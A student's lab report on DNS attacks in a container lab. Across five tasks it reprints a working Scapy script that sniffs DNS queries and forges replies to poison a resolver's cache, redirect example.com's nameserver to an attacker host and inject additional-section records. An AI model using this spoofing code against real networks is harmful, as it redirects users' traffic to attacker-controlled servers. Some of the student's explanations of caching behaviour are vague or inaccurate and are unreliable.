**DNS ATTACKS**

**Task 1: Directly Spoofing Response to User**

You need to submit a detailed lab report, with screenshots, to describe what you have done and what you have observed. You also need to provide explanation to the observations that are interesting or surprising. Please also list the important code snippets followed by explanation. Simply attaching code without any explanation will not receive credits. In addition, answer any questions if any.

|  |
| --- |
| Code:  #!/usr/bin/env python3  from scapy.all import \*  def spoof\_dns(pkt):  if (DNS in pkt and 'www.example.com' in pkt[DNS].qd.qname.decode('utf-8')):  pkt.show()  # Swap the source and destination IP address  IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)  # Swap the source and destination port number  UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)  # The Answer Section  Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',  ttl=259200, rdata='1.1.1.1')  # Construct the DNS packet  DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1,  qdcount=1, ancount=1, nscount=0, arcount=0,  an=Anssec)  # Construct the entire IP packet and send it out  spoofpkt = IPpkt/UDPpkt/DNSpkt  send(spoofpkt)  # Sniff UDP query packets and invoke spoof\_dns().  f = 'udp and src host 10.9.0.5 and dst port 53'  pkt = sniff(iface='br-1ca75fe81051', filter=f, prn=spoof\_dns)  SS:    When task1 is running:    Sniffed packet:    In this task, before we run the task 1 code. We have to go to the local dns server and run the command: “rndc flush”. Then run task 1 code in the attacker container. To see if it works, the IP address of [www.example.com](http://www.example.com) will be changed to 1.1.1.1, shows a successful attack. In this task we attack the user machine, not the local DNS server. |

**Task 2: DNS Cache Poisoning Attack – Spoofing Answers**

You need to submit a detailed lab report, with screenshots, to describe what you have done and what you have observed. You also need to provide explanation to the observations that are interesting or surprising. Please also list the important code snippets followed by explanation. Simply attaching code without any explanation will not receive credits. In addition, answer any questions if any.

|  |
| --- |
| **Code Snippet:**  #!/usr/bin/env python3  from scapy.all import \*  def spoof\_dns(pkt):  if (DNS in pkt and 'www.example.com' in pkt[DNS].qd.qname.decode('utf-8')):  pkt.show()  # Swap the source and destination IP address  IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)  # Swap the source and destination port number  UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)  # The Answer Section  Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',  ttl=259200, rdata='1.1.1.1')  # Construct the DNS packet  DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1,  qdcount=1, ancount=1, nscount=0, arcount=0,  an=Anssec)  # Construct the entire IP packet and send it out  spoofpkt = IPpkt/UDPpkt/DNSpkt  send(spoofpkt)  # Sniff UDP query packets and invoke spoof\_dns().  f = 'udp and src host 10.9.0.53 and dst port 53'  pkt = sniff(iface='br-1ca75fe81051', filter=f, prn=spoof\_dns)  **SS:**  **Attacker machine after running task2:**    User machine:    **Local DNS server:**    **Observation and explanation**  **First time you run dig** [**www.example.com**](http://www.example.com) **in the user container, it takes a few seconds. But the second time I run the same command, it is done instantly. For my understanding, it first tries to find a DNS and then create one if not created**  **The DNS is poisned with fake IP address.** |

**Task 3: Spoofing NS Records**

You need to submit a detailed lab report, with screenshots, to describe what you have done and what you have observed. You also need to provide explanation to the observations that are interesting or surprising. Please also list the important code snippets followed by explanation. Simply attaching code without any explanation will not receive credits. In addition, answer any questions if any.

|  |
| --- |
| **Task3 Code:**  #!/usr/bin/env python3  from scapy.all import \*  def spoof\_dns(pkt):  if (DNS in pkt and 'www.example.com' in pkt[DNS].qd.qname.decode('utf-8')):  pkt.show()  # Swap the source and destination IP address  IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)  # Swap the source and destination port number  UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)  # The Answer Section  Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',  ttl=259200, rdata='1.1.1.1')  # The Authority Section  NSsec1 = DNSRR(rrname='example.com', type='NS',  ttl=259200, rdata='ns.attacker32.com')  # Construct the DNS packet  DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1,  qdcount=1, ancount=1, nscount=1, arcount=0,  an=Anssec,ns=NSsec1)  # Construct the entire IP packet and send it out  spoofpkt = IPpkt/UDPpkt/DNSpkt  send(spoofpkt)  # Sniff UDP query packets and invoke spoof\_dns().  f = 'udp and src host 10.9.0.53 and dst port 53'  pkt = sniff(iface='br-1ca75fe81051', filter=f, prn=spoof\_dns)  Screenshots: Task3 packet:    **Nameserver changed:**            **Malicious Server:**    **Observations and explanations**  We are once again attacking the DNS local server. We performed a DNS cache poisoning attack, we spoofed the Name Server. So the attacker can now send malicious code as a response. This is done by crafting a DNS response that includes a spoofed NS record in the Authority section, which, if cached by the local DNS server, causes all subsequent DNS queries within that domain to be resolved by the attacker's server, effectively redirecting all traffic intended for that domain to an IP address specified by the attacker |

**Task 4: Spoofing NS Records for Another Domain**

You need to submit a detailed lab report, with screenshots, to describe what you have done and what you have observed. You also need to provide explanation to the observations that are interesting or surprising. Please also list the important code snippets followed by explanation. Simply attaching code without any explanation will not receive credits. In addition, answer any questions if any.

|  |
| --- |
| **Code Snippet:**  #!/usr/bin/env python3  from scapy.all import \*  def spoof\_dns(pkt):  if (DNS in pkt and 'www.example.com' in pkt[DNS].qd.qname.decode('utf-8')):  pkt.show()  # Swap the source and destination IP address  IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)  # Swap the source and destination port number  UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)  # The Answer Section  Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',  ttl=259200, rdata='1.1.1.1')  # The Authority Section  NSsec1 = DNSRR(rrname='example.com', type='NS',  ttl=259200, rdata='ns.attacker32.com')    NSsec2 = DNSRR(rrname='google.com', type='NS',  ttl=259200, rdata='ns.attacker32.com')  # Construct the DNS packet  DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1,  qdcount=1, ancount=1, nscount=2, arcount=0,  an=Anssec,ns=NSsec1/NSsec2)  # Construct the entire IP packet and send it out  spoofpkt = IPpkt/UDPpkt/DNSpkt  spoofpkt.show() #not required, just shows fake DNS reply  send(spoofpkt)  # Sniff UDP query packets and invoke spoof\_dns().  f = 'udp and src host 10.9.0.53 and dst port 53'  pkt = sniff(iface='br-1ca75fe81051', filter=f, prn=spoof\_dns)  ss:    Cached or not this time? The google.com did not. By researching, I found that there are many reasons for this. When attempting to spoof NS records for an unrelated domain like google.com during a query for example.com, the DNS server may ignore this unrelated information due to strict security measures, domain validation processes, and DNSSEC protections. Such mechanisms are in place to prevent the caching of forged or irrelevant data. Especially, well known DNS like google.com |

**Task 5: Spoofing Records in the Additional Section**

You need to submit a detailed lab report, with screenshots, to describe what you have done and what you have observed. You also need to provide explanation to the observations that are interesting or surprising. Please also list the important code snippets followed by explanation. Simply attaching code without any explanation will not receive credits. In addition, answer any questions if any.

|  |
| --- |
| **Code:**  #!/usr/bin/env python3  from scapy.all import \*  def spoof\_dns(pkt):  if (DNS in pkt and 'www.example.com' in pkt[DNS].qd.qname.decode('utf-8')):  pkt.show()  # Swap the source and destination IP address  IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)  # Swap the source and destination port number  UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)  # The Answer Section  Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',  ttl=259200, rdata='1.1.1.1')  # The Authority Section  NSsec1 = DNSRR(rrname='example.com', type='NS',  ttl=259200, rdata='ns.attacker32.com')    NSsec2 = DNSRR(rrname='example.com', type='NS',  ttl=259200, rdata='ns.example.com.')    # The Additional Section  Addsec1 = DNSRR(rrname='ns.attacker32.com.', type='A',  ttl=259200, rdata='1.2.3.4')  Addsec2 = DNSRR(rrname='ns.example.net.', type='A',  ttl=259200, rdata='5.6.7.8')  Addsec3 = DNSRR(rrname='facebook.com.', type='A',  ttl=259200, rdata='3.4.5.6')  # Construct the DNS packet  DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1,  qdcount=1, ancount=1, nscount=2, arcount=3,  an=Anssec,ns=NSsec1/NSsec2, ar=Addsec1/Addsec2/Addsec3)  # Construct the entire IP packet and send it out  spoofpkt = IPpkt/UDPpkt/DNSpkt  spoofpkt.show() #not required, just shows fake DNS reply  send(spoofpkt)  # Sniff UDP query packets and invoke spoof\_dns().  f = 'udp and src host 10.9.0.53 and dst port 53'  pkt = sniff(iface='br-1ca75fe81051', filter=f, prn=spoof\_dns)  Screenshots:      **Observations and Explanations:**  Same thing again as task4, the well-known DNS will not be spoofed but the others DNS kinda work. From my research, entries in the Additional Section are meant to provide supplementary information, such as IP addresses for nameservers listed in the Authority Section. However, if these entries are unrelated to the original query or do not correspond to the domains being resolved, the DNS server may disregard this data to avoid potential cache poisoning. This selective caching behavior ensures that only relevant and necessary information is stored, enhancing both the security and efficiency of DNS operations, particularly against attempts to inject false or misleading information. |